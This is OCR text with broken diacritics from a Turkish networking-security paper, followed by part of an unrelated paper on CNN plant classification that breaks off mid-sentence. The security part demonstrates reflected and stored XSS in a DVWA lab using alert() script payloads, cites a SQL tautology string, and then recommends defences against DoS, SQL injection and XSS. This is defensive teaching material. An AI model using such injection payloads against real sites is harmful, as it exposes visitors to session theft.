istekler gonderilmis ve uygulamadan gelen cevaplar dogrultusunda Tablo 3’de belirtilen bilgilerin elde
edilmesi saglanmustir.

4.3. XSS Saldir1 Uygulamasi

Makale kapsaminda XSS saldir1 yontemleri arasindan “Web Sitesine Zararli Kod Gomme” yontemi
kullanilarak uygulama gerceklestirilmistir. Bu yontem ile bilgisayar korsan1 XSS a¢ig1 bulunan web
sitesine; Kullanicilara veya web uygulamasina zarar verecek kodlart 6nceden yerlestirmektedir.
Bilgisayar korsam tarafindan o6nceden yerlestirilen zararli kodlar, normal kullanict ziyareti sirasinda
arka planda calistirilarak kullanicilarin oturum bilgileri ele gegirilmekte, verileri calinmakta veya
saldirtya maruz kalan web sitesi ¢alismaz hale getirilmektedir.

XSS saldirilarii gergeklestirebilmek icin tizerinde farklt XSS agiklart barindiran DVWA Web
Uygulamasi kullanilmistir. Kurbanin XSS saldirisina maruz kalmasi i¢in saldirgan PC’de(vLan80
agindaki 192.168.80.11 ip adresli Kali PC) XSS agig1 bulunan DVWA web uygulamasi aktif hale
getirilmistir.

Adim-1: DVWA uygulamasi iizerinden XSS agigini test etmek i¢in XSS Reflected modiiliinde What’s
your name? metin kutusuna “Hello” yazilarak submit edilmistir. Submit islemi sonunda metin
kutusunun altina “Hello Hello” yazdig1 goriilmiistiir. Web uygulmasinin kullanicidan aldigr bilgiyi
paratmetre olarak kabul ettigi ve yorumlayarak ekrana yazdig1 goriilmiistiir.

Adim-2: Metin kutusuna <script>alert(“Firat University XSS Vulnerability Test”)</script>JS kod
parcasi enjekte edilerek kodun tarayicida ¢alismasi saglanmistir. Zararli kodu galistigi uygulamaya ait
ekran gorintlsi Sekil 16'da sunulmustur.

Firat University X55 Vulnerebility Test

Sekil 16 JS kodu enjekte edilmis web uygulamasi

Adim-3: Zararh kodlarin enjekte edildigi web uygulamasi vLan20 agindaki 192.168.20.10 ip adresli
Windows 7 sanal PC’den agilarak Sekil 17°de sunuldugu gibi tarayicidan uyar1 mesajinin alinmasi
saglanmistir.

Adim-4: Saldirgan, ziyaret¢i goriislerinin kaydedildigi XSS Stored modiiliindeki metin kutusu
aracilifiyla zararli kodun veri tabanina kaydedilmesi saglayarak kalici olmasi saglanmistir. Zararli kodu
veri tabanina enjek edilmesine ait ekran goriintiisii Sekil 18’de sunulmustur.
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J Vulnerability: Reflected Cross Sit: X +

— N @® Guvenli degil | 192.168.80.11/DVWA/vulnerabilities/xss_r/?... 1§

192.168.80.11 web sitesinin mesaji

Firat University XSS Vulnerability Test

Sekil 17 Enjekte edilen zararli kodun ¢aligsmasina ait ekran gorintisu

Firat University XSS Stored Vulnerability Test

Sekil 18 Zararli kodun ziyaret¢i sayfasindan veri tabanina enjekte edilmesi

Adim-5: Web uygulamasindaki ziyaretci sayfasi ¢calistirildiginda veri tabanina kayith ziyaretgi gortisleri
veri tabanindan okunarak tarayiciya yiiklenmektedir. Ziyaretgi goriiglerinin tarayiciya yiiklenmesi
sirasinda zararl kodlar ¢aligarak kullanicinin XSS saldirisina maruz kalmasi saglanmigtir. Bu adimdan
sonra ziyaret¢i sayfasini agan tiim kullanicilar Sekil 19'da sunuldugu gibi XSS saldirisina maruz
kalacaktir.

@ Guvenli degil | 1921688011/ DVWANUInerabifities/ss s/ 7r 63

192.168.80.11 web sitesinin mesaji

wrsly ¥EE Stored Vi

Sekil 19 Saldirtya ugrayan kullanici tarayicisi

Web sitesine zararli kod gdbmme yontemi ile gergeklestirilen saldiri sonucu web uygulamasina zararl
kodlar enjekte edilerek web uygulamasiin kalici olarak zarar gérmesi saglanmistir. Ayrica saldiriya
maruz kalan web uygulamasini ziyaret eden tiim kullanicilarin, enjekte edilen zararli koddan etkilenerek
tarayici lizerinden saldirya acik hale gelmesi saglanmig ve uygulama boliimiinde ekran goriintiileri ile
sunulmustur.

Zararh kodun enjekte edilmesi esnasinda gerceklesen tiim adimlara ait ag kayitlar1 wireshark yazilimi
ile kayit altina alinarak ag trafiginde anormal herhangi bir iletisim olup olmadig1 tespit edilmeye
calisilmustir.

Ancak Sekil 20'de sunulan ag trafigi kayitlarindan da anlagilacagi lizere site zitaretcisi ile web
uygulamasi arasinda herhangi bir anormal trafik tespit edilememistir.

Saldirgan hedef uygulamaya zararli kodu enjekte etmek i¢in yalnizca bir defa iletisim kurmus ve XSS
Reflected ve XSS Stored yontemlerini kullanarak zararli kodlar1 enjekte etmistir.
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Time Source Destination Protocol Lengt Info
91 49.910638 192.168.20.16 192.168.20.255 NBNS 92 Name query NB WWW.OWASP.ORG<88>
92 50.395379 192.168.20.16  192.168.86.11 HTTP 623 GET /DVWA/vulnerabilities/xss_s/ HTTP/1.1
93 50.444674 192.168.80.11 192.168.20.10 e 54 88 » 49337 [ACK] Seq=4854 Ack=17@8 Win=64128 Len=0
94 50.535288 192.168.80.11 192.168.20.10 e 1514 80 + 49337 [ACK] Seq=4054 Ack=1708 Win=64128 Len=1460 [TCP segment of a
95 50.546851 102.168.80.11  192.168.20.10 HITP 620 HTTP/1.1 200 0K (text/html)
96 50.570817 192.168.20.10 192.168.80.11 TP 54 49337 » B0 [ACK] Seq=1708 Ack=6088 Win=65536 Len=0

;0+0.8,en

Dovwwowle L o [

Sekil 20 XSS saldiris1 anindaki ag trafigi

5. Ag Saldirilarinin Engellenebilmesi I¢in Coziim Yaklasimlari

Calisma kapsaminda uygulamalar1 gergeklestirilen farkli saldir1 tlir/yontemlerinin zararli etkilerini en
aza indirebilmesi veya tamamen engelenebilmesi igin alinmasi1 gereken tedbirler/0nlemlere ait ¢esitli
Oneriler bu bélimde sunulmaktadir.

5.1. DoS/DDoS Saldirilarindan Korunmak i¢cin Alinmasi Gereken Tedbirler

Bilgisayar aglarina yapilan saldirilar gz Oniine alindiginda korunmasi en zor saldin tiirii olarak
DoS/DDoS saldirilar gosterilebilir. Korunmasindaki zorluklar géz oniine alindiginda degisik tiir ve
seviyede farkli koruma 6nlemleri alma zorunlulugunu ortaya ¢ikartmaktadir.

Hizmet aksatma saldirilarindan korunmanin temelinde ag yapisinin iyi tasarlanmasi gelmektedir.
Tasarimu iyi yapilmis bir ag'da; giivenlik duvari, sunucular, router, switch, kablosuz erisim cihazlar1 ve
ag'a baglanan diger tiim cihazlarin haritasinin ¢ok iyi dokiimante edilmesi gerckmektedir. Ag
yOneticisinin bilgisi ve izni diginda ag'a herhangi bir cihaz eklenemesi veya devre dig1 birakilmasi
yapilamamalidir. Kritik 6neme sahip ag cihazlarmin fiziki olarak gilivenligi saglanarak, yetkili
personelin digindaki miidahaleye agik olmamasi saglanmalidir[3],[4],[29].

Saldirilarin yerel ag'dan yapilabilecegi diistiniilerek yerel agdaki cihazlarin giivence altina alinmasi
saglanmalidir. Cihazlara antiviriis yazilimlar1 yiiklenmesi, pc'lerde korsan veya crackli yazilim
kullaniminin 6niine gecilmesi gibi ag gilivenligini tehliyeye sokacak giivenlik zaafiyetlerinin Gniine
gecilmesi i¢in gerekli tedirler alinmalidir [29].

Yerel ag'a baglanacak kullanicilarin ag hizmetlerinden faydalanabilmesi i¢in kimlik dogrulama
yontemleri ile kimligini dogrulamaya zorlanmali kimligini dogrulayamamasi halinde ag hizmetlerine
baglanamamasi i¢in gerekli dnlemler alinmalidir.

Hizmet aksatma saldirilarinin amaci hedef ag cihazlarimi devre dis1 birakarak hizmetlerin kesintiye
ugramasini saglamaktir. ki farkli agin haberlesebilmesi igin etkilesime girecegi ilk ag elemeni
router'dir. Router iki veya daha fazla agdan gelen-giden TCP/IP paketlerini Gzerinden gecirdikten sonra
ag lizerindeki hedefine yonlendirir. Router bu 6zelligi nedeniyle DoS/DDoS saldirilarinda etkilenen ilk
ag cihazidir. Saldir1 aninda router devre dis1 kaldiginda ag'in diger aglarla baglantisi kesilmis olacagi
icin hizmetlerde kesinti yasanmasina sebep olacaktir. Bu nedenle isletime alinacak router iizerinde
tiretici firma tarafindan eklenen giivenlik ayarlar aktif hale getirilerek 6nlem alinmalidir. Kullanic veya
ip bazinda bant genisiligi iist limiti belirlenerek tiim kullanicilarin belirlenen bant genisliginin {izerine
cikmasi engellenmelidir. Bant genisligi sinirlamasi getirilerek belli bir saymin altindaki baglanti
sayisina ulagan DoS/DDoS saldirilari kontrol altina aliabilecektir [30].

Router ile birlikte gelen kontrol yazilimlar sayesinde, sistem kaynaklarimi asiri tiiketen yerel ag
disindaki ip adreslerini tespit edip otomatik bloklayabilecegi imza ekleme mekanizmasi aktif hale
getirilmelidir. Yerel agdan gelen ve sistem kaynaklarini asiri tiiketen cihazlar engellenerek onleyici
tedbirler devreye alinmalidir. Daha 6nce DoS/DDoS saldirisi yaptigi bilinen ip adresleri tespit edilerek
ACL listelerine eklenerek baglanti talepleri otomatik rededilmelidir. Port giivenligi saglanarak
glivenilen portlar diginda kalan portlar erisime kapatilmalidir [2].

Router ile yerel ag arasina saldir1 tespit ve onleme (IDS/IPS) sistemleri entegre ederilerek, tiim ag trafigi
kontrol altina alinmalidir. Gegmis yillarda gergeklestirilen ve kaynagi bilinen DoS/DDoS saldirilarina
ait imza kurallar olusturulup aktif hale getirilerek aym1 kaynaklardan gelebilecek olasi saldirilar
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engellmis olacaktir. Ayrica ag'a yerlestirilen IDS/IPS sayesinde ag trafigi merkezi bir noktadan kontrol
altina alindig1 igin tiim ag hareketleri analiz edilerek, zararli ag trafigi veya bir saldir1 kolayca tespit
edilip gerekli tedbirler hizlica alinabilecektir [3],[4],[5].[7]

Imza tabanli saldir1 tespit ve onleme sistemleri bilinen saldirilar1 yakalayip &nlemede ¢ok etkili
olabilmektedir ancak ge¢miste hi¢ denenmemis ve ilk defa kullanilacak bir saldir1 yontemi ile yapilacak
saldirty1 tespit etmekte yetersiz kalmaktadir. Bu nedenle ag trafigini ¢evrimici analiz eden anomali
tabanli yeni nesil akilli saldir1 tespit sistemleri entegre edilmelidir [2],[8],[9].

5.2. SQL Enjeksiyon Saldirilarindan Korunmak i¢in Alnmasi Gereken Tedbirler

Veritaban1 sunucular1 ve web uygulamalar kritik 6neme sahip veriler barmndiran yap1 veya
uygulamalardir. Bu nedenle barindirdiklar1 verilere yetkisiz erisim saglanmasi, verilerin bozulmast,
silinmesi, degistirilmesi veya c¢alinmasi gibi risklerle karsi karsiya kalmasi kaginilmazdir. Veri
barmdirian sistemlerin SQL enjeksiyon saldirilarindan korunmasi i¢in alinabilecek onlemler asagida
maddeler halinde a¢iklanmaya ¢aligilmistir.

DB yoneticileri veritanabinda islem yaparken tam yetkili ve bilinirligi yiiksek root veya admin
kullanicilar1 yerine yetkileri kisitlanmis kolay tahmin edilemeyen kullanicilar ile calisilmalidir.
Kullanicr adi, sifre, biometrik veri, kredi karti gibi ¢ok kritik verilerin tutuldugu tablo isimleri igeriginde
sakladig1 veri ile iliski kuracak sekilde segilmemelidir [11],[12].

Web Uygulamasindan veritabanina yapilacak baglantilarda admin grubundan bir kullanici yerine
yetkileri azaltilmig daha diisiik seviyeli bir kullanici ile baglanarak islem yapilmalidir.

Web ve veritaban1 sunucusuna ait yazilimlardaki hata mesajlar1 SQL enjeksiyon saldirilarmin ¢ikis
noktast olmasi nedeniyle, hata mesajlarinin kapatilmasi giivenlik agisindan 6nemlidir [11].

Web uygulamalari, kullanicilardan alinacak verileri web form elemanlar1 araciliiyla almaktadir.
Formlarda kullanilan metin kutular1 ile metin ve sayisal veriler kullanicilardan alinarak isleme tabi
tutulmaktadir. SQL enjeksiyon saldirilarinda kullanilan tek tirnak karakteri ('), esittir isareti (=), tinlem
isareti(!) gibi saldirilara agik kapi biracak isaretlerin Regular Expression Validator sinifi ile kontrol
edilerek metin kutularindan girisine izin verilmemelidir. Ayn1 sekilde saldirilarda sorgu sartlarini devre
dis1 birakmak icin kullanilan "OR '1'="1""" gibi mantiksal ifadeler igeren kelimelerin filtre edilerek
temiznlendikten sonra kullanilmasi1 gerekmektedir [13].

Metin kutulari araciligryla kullanicilardan bilgi alirken, verinin tiirii ve veritabani tablosunda 0 alan icin
ayrilmis uzunluk degerini gegmeyecek sekilde sinirlama getirilmelidir. Ornegin kimlik numarasi igin
veri girsi yapilacaksa 11 karekterden fazla rakamin girisine izin verilmemelidir. Bu sekilde hem olasi
SQL enjeksiyon saldirisinin 6niine gegilmis olunur hem de veri tabaninda kimlik numarasi i¢in ayrilan
uzunluktan daha fazla deger girildiginde olusacak tagsma hatalarinin 6niine ge¢mis olunacaktir.

SQL sorgularinda kullanilan select, update, insert, delete, union, order vb.. deyimlerin metin kutularina
girilecegi varsayilarak, metin kutusundaki veri isleme alinmadan 6nce yukarida belirtilen deyimleri
icerip icermedigi bir fonksiyon yardimi ile kontrol edilerek temizlenmelidir [11].

Uygulamada kullanilan SQL sorgulari olusturulurken kullanicidan alinan girdiler her bir sorgu elemani
i¢in ayr1 ayr1 parametre gonderilerek yapilmali, tek climleden olusan SQL sorgulari kullanilmamalidir.

Veritaban1 sunucusu, giivenlik duvari ile koruma altina aliarak, kullanicilardan gelen URL igerikleri
Onigleme tabi tutulmalidir. URL igeriklerinde SQL enjeksiyon saldirisinda kullanilacak igerik barindiran
talepler ile talebin geldigi ip adresi icin gecici veya daimi olarak engelleyici imzalar tanimlanmalidir
[16].

5.3. XSS Saldirilarindan Korunmak i¢in Almmasi Gereken Tedbirler

Yazilim teknolojilerinin gelismesine paralel olarak XSS aciklan iizerinden yapilan saldirilar daha
karmagik ve Oonlem alinmasi zor saldirt yontemlerine doniismiistiir. Ancak saldir1 karmasikligi ve
yontemleri gelistikce saldirilardan korunmak i¢in yeni yontem ve ¢oziim yollarida gelismektedir.

225



Sakarya University Journal of Computer and Information Sciences

Das et. al

Makale kapsaminda gerceklestirilen XSS saldirisi ve saldirganlarin en sik kullandigr XSS ataklarindan
korunmak i¢in alinmasi gereken dnlemler agagida sunulmustur.

Dinamik web uygulamasi gelistirilirken uygulamay1 kullanacak tiim kullanicilar1 potansiyel saldirgan
olarak kabul edip, bu varsayim iizerine giivenli uygulama gelistirme yontemlerine gore uygulama
gelistirilmelidir. Dinamik web uygulamalari; Kullanici ile uygulama arasindaki bilgi alig verisini web
form elemanlar1 araciligiyla gergeklestirir. Web form elemani olarak kullanilan metin kutular zararh
kod filtresinden gegirilmeden kullanimasi halinde XSS saldirilarina agik kapi birakacaktir. Bu nedenle
metin Kutularindan alinan girdi degerleri filtre islemine tabi tutularak igeriginde XSS saldirisina yol
acacak deyim ve kodlar temizlendikten sonra kullanilmali veya igerigin uygun olmadigi kullaniciya
mesaj ile bildirilerek girisi yapilan metin iptal edilmelidir. Ornegin igerginde <script>alert(“Firat
University XSS Vulnerability Test”)</script> seklinde JS kodlar1 olan bir girdi degeri filtre
edilerek,"<script>, alert, </script>" vb. icerik temizlendikten sonra isleme alinmalidir [14],[16].

Metin kutulart ile kullanicidan bilgi alimirken, alimacak bilginin veri tipine uygun kisitlamalar
getirilmelidir. Ornegin tarih formatinda bir veri alinacaksa metin kutusuna rakam, nokta(.) veya "/"
karekterinden bagka karakter girisine izin verilmemelidir.

Saldirganlarin  metin  kutusuna <script>alert("XSS Test")</script> seklinde XSS saldirisi
gerceklestirebilecek zararli kod girisi yapabilir. Saldirganin bu kodlar enjekte edecegi diisiiniilerek
metin kutusu icerigindeki kagis karakterleri replace fonksiyonu ile degistirilmedilir. Ornegin < ve >
karakterleri &#60; ve &#62; karakterleri ile degistirilmelidir. Boylece ekrana metin kutusuna girisi
yapilan bilgi gelecektir ancak bir JS kodu olarak ¢aligmayacaktir. Kagis karakterlerine ait 6rnekler Tablo
4’de verilmistir.

Tablo 4 Kagis karakterleri tablosu

Cikt1 Numerik Kod Hex Kod
( &H#40; &#x28;
) &#41; &#x29;
< &#60; &#x3C;
> &#62; &#xX3E;

Kullanic1 girdi degerlerinden hangi deyim, komut veya karakterlerin kabul edilecegi hangilerinin kabul
edilmeyecegi 6nceden tanimlanan white ve black listeler araciligi ile kontrol altina alinmalidir [31].

URL istekleri isleme alinmadan 6nce igerigine JS kodlariin yerlestirilip yerlestirilmedigi uygulama
icerisinde kontrol edilmeli ve filtreden gecirildikten sonra isleme alinmalidir. Tarayicidan
http://192.168.80.11/XSSTest/Liste.php?Id=<script>alert('XSS Test')</script> seklinde yapilan bir
istek filtre edilmeden direk kullanilirsa ekrana 'XSS Test' seklinde mesaj verecektir.

URL istekleri web sunucusuna iletilmeden 6nce giivenlik duvart URL filtresi ile kontrolden gegirilmeli
ve XSS saldirisina sebep olacak baglanti talepleri red edilmelidir [16].

5.4. Siber Saldirilardan Korunmak icin Ahnmasi Gereken Giivenlik Politikalarma Ait Oneriler

Kritik sistemlerde calisan personele siber gilivenlik ve farkindalik temali egitim, konferans ve
bilgilendirmeler diizenli araliklarla verilerek, personelin siber saldirilara karsi farkindaliginin agik
olmasini saglayaci planlama yapilmalidir.

Ag'larda kullanilan cihazlarda kosturulan yazilimlar ile ag’da ¢alisan uygulamalarin, yazilim
iireticilerinden giivenlik aciklarin1 gidermeye yonelik giincelleme paketlerini en kisa siirede sisteme
entegre edecek alt yap1 giincelleme sistemleri hayata gecirilmelidir.

Tim ag, belirli periyotlarla penetrasyon testlerine tabi tutularak, tespit edilen agiklar en hizli sekilde
kapatilmalidir.
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Yiksek riskli ve giivenlik ag¢iklarmin siklikla istismar edildigi IoT sistemleri, Kritik éneme sahip
sistemlerden izole edilerek kritik sistemler silahsizlandirilmis DMZ alanlarinda konumlandirilmalidir

[23].

Kullanicilarin ag hizmetlerinden faydalanabilmesi i¢in kimlik dogrulama sistemleri lizerinden kimligini
dogrulayarak ag hizmetlerine erisim izni verilmelidir. Kimlik dogrulama yapamayan kullanicilarin
talepleri red edilerek erisim talebi engellenmelidir.

Yerel kullanicilarinin  Internet {izerinden gerceklestirecedi iletisimin iiglincii taraflarca ele
gecirilebilecegi diisliniilerek verilerin sifreli gonderilip alinabilmesi i¢in SSL sertifikalar
kullanilmalidir.

Ag disindan yerel ag’a yapilacak baglantilarin VPN(Sanal Ozel Ag) alt yapist ile yapilabilecek sekilde
tasarlanarak giivenli baglanti1 ortami saglanmalidir.

Ag tasarimi yapilirken farkli vlan'lar tanimlanmal1 ve ag'daki cihazlarin kontrolsiiz bir sekilde birbirleri
ile haberlesmesi engellenmelidir.

Ag trafigi ve kullanic1 hareketleri log'lanarak elektronik imza ile imzalanmali ve resmi kayit haline
getirilmelidir [29].

6. Sonuglar

Bilgisayar korsanlar tarafindan en sik kullanilan ve yikim giicii en yiiksek olan saldir1 teknikleri
kullanilarak gergeklestirilen saldirilarin ger¢ek bir ag’da hangi hasarlara yol agabilecegi GNS3
platformunda uygulamali olarak incelenmistir. Saldirilar sirasinda saldirganin ag’da biraktig1 izlerin
tespit edilip edilemeyeceginin miimkiin olup olmadigi uygulamali olarak ele alinmstir.

DDoS saldirist uygulamasi ile giivenlik duvar ile izole edilmis DMZ ag alanina 2 farkli saldir
gergeklestirilerek web sunucusu ve giivenlik duvarinin saldirt anindaki davranislar1 wireshark ile kayit
altina alinmistir. Saldir1 sonrasi web sunucusun hizmet aksatmasi saglanarak devre disi kalmasi
basarilmistir. DDoS saldirisina ait ag trafigi incelenerek saldirganin ip adresi, hedef ip adresi, saldirida
kullanilan protokol ve saldir1 paket boyutlar1 agikca tespit edilmistir.

SQL enjeksiyon saldirisi ile DMZ alaninda hizmet veren web uygulamasina saldirt gerceklestirilerek
veri tabaninda kayitli kullanici adi ve sifre 6zetleri ele gecirilmistir. SQL enjeksiyon saldirisina ait tim
adimlar agiklanarak, saldir1 anindaki ag trafigi wireshark yazilimu ile kayit altina alinmistir. Kayit altina
alinan ag paketlerin incelenerek saldirtya ait SQL enjeksiyon kodlari tespit edilmistir.

XSS saldirist ile tasarlanan kampiis agindaki 2 farkli network arasinda 2 farkli XSS saldirisi senaryosu
gergeklestirilerek web uygulamasi ve site ziyaretgisi saldiriya maruz birakilmistir. Yapilan saldirtya ait
ag kayitlar1 wireshark yazilimi ile kayit altina alina XSS saldirisi tespit edilmistir.

Her 3 saldir1 yontemi ile 5 farkli saldir1 gergeklestirilmis ve saldirt anindaki ag kayitlar1 Wireshark ile
incelenmistir. Yapilan incelemede; DDoS ve SQL enjeksiyon saldirisi esnasinda saldirgan ile kurban
arasindaki zararli trafik ve komutlar tespit edilmistir. Elde edilen kayitlardan yola ¢ikarak; Yerel ag
paketlerini anlik olarak inceleyerek, cesitli DDoS saldir1 algoritmalari ile imza tabanli saldiri tespit
sistemlerini birlikte ¢alistiran karma saldir tespit sistemi gelistirilebilecektir.

Web uygulamasi gelistiricilerinin kodlama hatalarindan kaynaklanan SQL enjeksiyon agiklari,
gelistirilecek yeni nesil saldir1 tespit sistemi tarafindan tespit edilerek saldirilardan korunacaktir.
Saldirganin web uygulamasina yaptigi isteklere ait URL icerikleri, anlik olarak incelenip SQL
enjeksiyon saldirilarinda kullanilan igerikler tasidigi tespit edilen URL istekleri isleme alinmadan
engellenebilecektir.

XSS saldirisina ait ag kayitlari incelendiginde kurban pc ile zararli web sitesi arasinda istek-cevap
seklinde gelisen normal ag trafigi olustugu, anormal herhangi bir ag trafiinin olusmadigi
gbzlemlenmistir. Ancak web sunucusunu kendi biinyesinde barindiran ag yapilarinda, web
uygulamasindaki XSS agikalar1 {izerinden XSS saldirilar1 gergeklestirilebilir. Web uygulamasindaki
kodlama hatalarindan kaynaklanan bu agiklardan gelebilecek XSS saldirilar gelistirilecek yeni nesil
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saldir1 tespit sistemleri ile tespit edilip silinebilecektir. SQL enjeksiyon saldirilarini tespit etmekte
kullanilan yontem XSS saldir1 tespit yontemi olarak da kullanilabilecektir.

Ag saldirilarinin uygulamali olarak incelendigi ¢alismamizi diger galismalardan ayiran, 3 farkli ag
saldiristmin 5 farkli saldir1 yontemi ile birlikte ele alinmus Olmasidir. Literatiirdeki galismalara
bakildiginda ag saldirilarinin bireysel olarak incelendigi ve farkli saldir1 y6ntemlerinin bir arada
uygulanmadigr goriilmiistiir. Ayrica GNS3 platformunda gergeklestirilen ¢aligmalar incelendiginde
agirlikli olarak ag uygulama protokollerinin performansina yonelik ¢alismalar yapildigi gortilmektedir.
Bu ise ag saldirilarmin incelenmesine yonelik yapmis oldugumuz c¢alismay1 diger ¢alismalardan farkl
kilmaktadir.
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Abstract

Image processing techniques give highly successful results when used deep learning in classification studies.
Applications benefit from this kind of work to make life easier. In this study, a mobile application is developed
that takes photo of a plant and makes image processing on it to provide information about its name, the time to
change the soil, the amount of sun light and nutrition it needs. The model is trained using the Convolutional Neural
Networks, and dataset is successfully applied to the network. Currently, the application is capable to classify 43
different plants in mobile environment, and its classification capacity is planned to be expanded with new plant
species as a future study. Up to 90% accuracy is reached in this study with the current version of the application.

Keywords: plant classification, deep learning, CNN, mobile system

Derin Ogrenme Kullamlarak Bitki Tiirlerinin Smiflandirilmasi ve
Mobil Uygulama Olarak Sunumu

0Oz

Goriintii isleme teknikleri kullanilarak yapilan siniflandirma galigmalarinda yiiksek basarilar elde edilmektedir.
Hayat1 kolaylastiracak uygulamalar bu tiir ¢aligmalardan faydalanmaktadir. Bu ¢alismada gelistirilen mobil
uygulama bitkinin resmi ¢ekilerek goriintii analizi yapilip kullaniciya bitki hakkinda, ismi, toprak degisim siiresi,
ihtiyag duydugu gilines ve destek besin miktar1 gibi faydali bilgiler sunulmaktadir. Gelistirilen model
Convolutional Neural Network ile egitilmis olup bu ¢aligmada derin 6grenme basarili bir sekilde kullanilmstir.
Mobil ortamda 43 farkli bitki tiirlinii taniyabilen uygulama yeni bitki tiirlerinin eklenmesi ile kapsaminin
genisletilmesi planlanmistir. Calisma su an gelinen konum itibariyla %90’lara varan dogruluk degeri elde
edilebilmektedir.

Anahtar Kelimeler: bitki siniflandirma, derin 6grenme, CNN, mobil sistemler

1. Introduction

Today, deep learning is begun to be used in every field as it became highly popular with increasing
number of deep learning libraries. Agricultural sector is one of the many fields where important
developments and research studies are being carried out. In this study, a mobile application is developed
that classifies 43 different plant species and provides the user with information about the classified plant
such as the environment temperature, amount of water, time to change the soil, amount of sun light and
nutrition amount it needs. This would enable the user to reach identifying and useful information about
a plant in his/her home or any other plant he/she sees outside and wonder or wants to buy. Deep learning
techniques are used in this study and high accuracy rates are reached. The study is especially useful as
it makes life easier. In addition, since a rapid transition to autonomous systems is present in agricultural
sector, this type of studies also shed light on new research in the field. There are several similar studies
in agricultural sector. For example, Dyrmann et al. classified 22 different plant species using deep
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learning techniques in their study and reached a 86.2% success rate [1]. In a similar study, a
classification was carried out based on leaf vein patterns where 93.33% success was reached in 3
different datasets used [2]. In another study using leaf vein patterns, 95% level of success was reached
[3]. Again in a study based on leaf vein patterns, different classification methods were compared and
neural networks were shown to perform best, followed by support vector machines (SVM) [4]. SVM
can be seen in similar studies, 32 species classified and the average accuracy obtained in testing data is
82.67% [5]. In another study a hybrid model is used by SVM the proposed model yields to improve the
identification rate up to 98.9% and 93.3% for both Flavia and Swedish dataset respectively [6].
Automatic plant detection proposed by using SVM again and they reached 91.25% accuracy [7]. As can
be seen, image processing techniques have been actively used in identification of different plant species.
Convolutional Neural Networks (CNN) are known to produce favorable results in processing image data
in deep learning. In a study using this method between 73.05% - 93.41% success rate was reached [8].
Using CNN as a feature selection technigue was shown to classify flowers in 5 basic classes with up to
96-98% level of accuracy [9]. Feature selection was also carried out by other studies. There are certain
methods used for feature selection each having its own advantages and disadvantages. Among these
methods, CNN was shown to reach high accuracy rates [10]. The low performance of other methods in
feature selection lead to a search for alternative methods besides CNN. Ren et al., for example, used
density based image clustering instead of the traditional methods for clustering and reached high
accuracy rates [11]. One of the problems in applying autonomous systems is that the camera angle
should be perfectly proper while taking photo of a plant. The deficiency caused by an inefficient photo
might be corrected up to a certain level. However, the accuracy rate of the classification would decrease.
Some research dealt with this aspect of the subject, and managed to identify a wild plant, for example,
present in a crowded image. Again CNN networks were used in that study [12]. Additionally, there have
been successful studies to diagnose diseases in plants using CNN and image processing techniques [13]-
[18]. From the researches, it can be observed that CNN reaches high success rates. In this study, CNN
is used to classify 43 different plants. This study can be used as a supplementary tool to various
agricultural applications [19] or can be used as a separate module as well.

This study is organized as follows. Formation of the dataset and feature selection are explained in
Section Il. The method used and the structure of the network are given in Section I1l. Section IV provides
the findings for different scenarios. Finally, general conclusions are given in the last section.

2. Materials

2.1 Creating The Dataset

The dataset of the study is constructed by gathering several images of 43 different plants taken from
various directions. The plants are chosen among common plants that one can come across in daily life.
This way it is aimed to increase the usage of the application in social life. The dataset includes
approximately 100 different images for each of the 43 plants. This makes a total of 4559 images. Names
of the plants are given in Table I. Following information is collected for each plant species and included
in the dataset: name, required temperature, required irrigation amount, preferred soil type, sun light
requirement, time to change soil, supplementary nutrition.

Every image is scaled into the size of 224x224 and the RGB (red, green, blue) pixel values of the images
are stored in the dataset. Thus, input shape is formed as (224, 224, 3). 80% of the dataset is used for
training and the remaining 20% is used for testing and validation. The formation of training dataset was
chosen by random for each of plant species. Most of the images were created using ready-made pictures.
Some manual shots were made. Many of these handheld shots were created in a bright environment and
some were shot in room light.
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Table 1 Species used in dataset

Plant ID Name Plant ID Name

1 African Violet 2 Aloe Vera

3 Anthurium Flower 4 Monstera Deliciosa
5 Cactus 6 Kentia Palm

7 Asparagus 8 Crassula Ovata

9 Sansevieria 10 Spathipyllum wallisii
11 Aphelandra 12 Aglaonema

13 Areca Palm 14 Euphorbia Pulcherrima
15 Dieffenbachia 16 Christmas Cactus

17 Gloxinia 18 Guzmania Ostara

19 Yucca Flower 20 Maranta Leucorneura
21 Nephrolepis Exaltata 22 Campsis Radicans
23 Jasminum Sambac 24 Bougainvillea

25 Kumquat Tree 26 Norfolk Island Pine
27 Broom 28 Savin Juniper

29 Tradescantia Flower 30 Rhododendron

31 Geranium 32 Orchids

33 Schefflera 34 Chrysanthemum

35 Rabbits’ ears 36 Begonia

37 Petunia Flower 38 Jonquil

39 Croton Plant 40 Lily

41 Rose Laurel 42 Hyacinth

43 Anemone Flower

3. Method

The model to be used for plant identification and information supply in mobile environment is developed
using deep learning and CNN networks. CNN networks are special networks that are used particularly
in processing image data. CNN was first introduced by LeCun et al. in 1990 [20]. Image classification
is carried out by using determining factors. These might be for example leaf side patterns in plants. One
of the important strengths of a CNN structure is its filters. Thus, image classification can be successfully
carried out independent of its location. This would avoid astronomical number of weights. There are
various layers in CNN networks. Among them, convolution layer has an important role.

Four important parameters are used in CNN. These are: filter size, zero padding amount, stride and
number of filters. Output volume of layer is calculated as WxHxD. W, H and D are calculated as in Eqg.
(1), where F is the filter size, P is the zero-padding amount, S is stride, and K is the number of filters.

W =W, —F+2P)/S+1
H=(H,,-F+2P)/S+1 M)
D=K

Total number of parameters is 3,613,803 in the model, and 1,355,819 of them are trainable parameters.
The values used for the parameters are given in Table II.

Table 2 Parameters used in the model

Shear range 0.2
Zoom range 0.2
Rotation range 40
Width shift range 0.2
Height shift range 0.2

Fill mode Nearest
Batch size 32
Optimizer Adam
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Padding is applied for the images from different angles and they are supplied as input to the network
after convolutional transform. The images are processed in different layers and its class is determined
in softmax layer at the end. Zero padding is applied to every convolution layer. Data that is supplied in
the form of (224x224x3) is passed through weights of 112x112x32 dimensions by convolutional
transform, since the batch size is 32. This is followed by 56x56, 28x28, 14x14, 7x7 dimensions. Fig. 1
gives the representation of the mobile application. When the application is opened, an image of the plant
is taken by the use of camera. Then, by pressing the “Find species” button, the image data is supplied to
the trained CNN to make a prediction. Then, the screen displays the output of the predicted species and
useful information about it.
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Figure 1 Working procedure of the application

The model used in this study is summarized in Fig. 2. Images taken with camera are used also in training,
testing and application phases to enable higher accuracy of the model.
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Figure 2 Overview of the proposed model

4, Results

Six different scenarios were used to train the model. The scenarios and their results are given in Table
I1l. The model was run with 10, 15, 20, 25, 30 and 40 number of epochs, and no new scenarios were
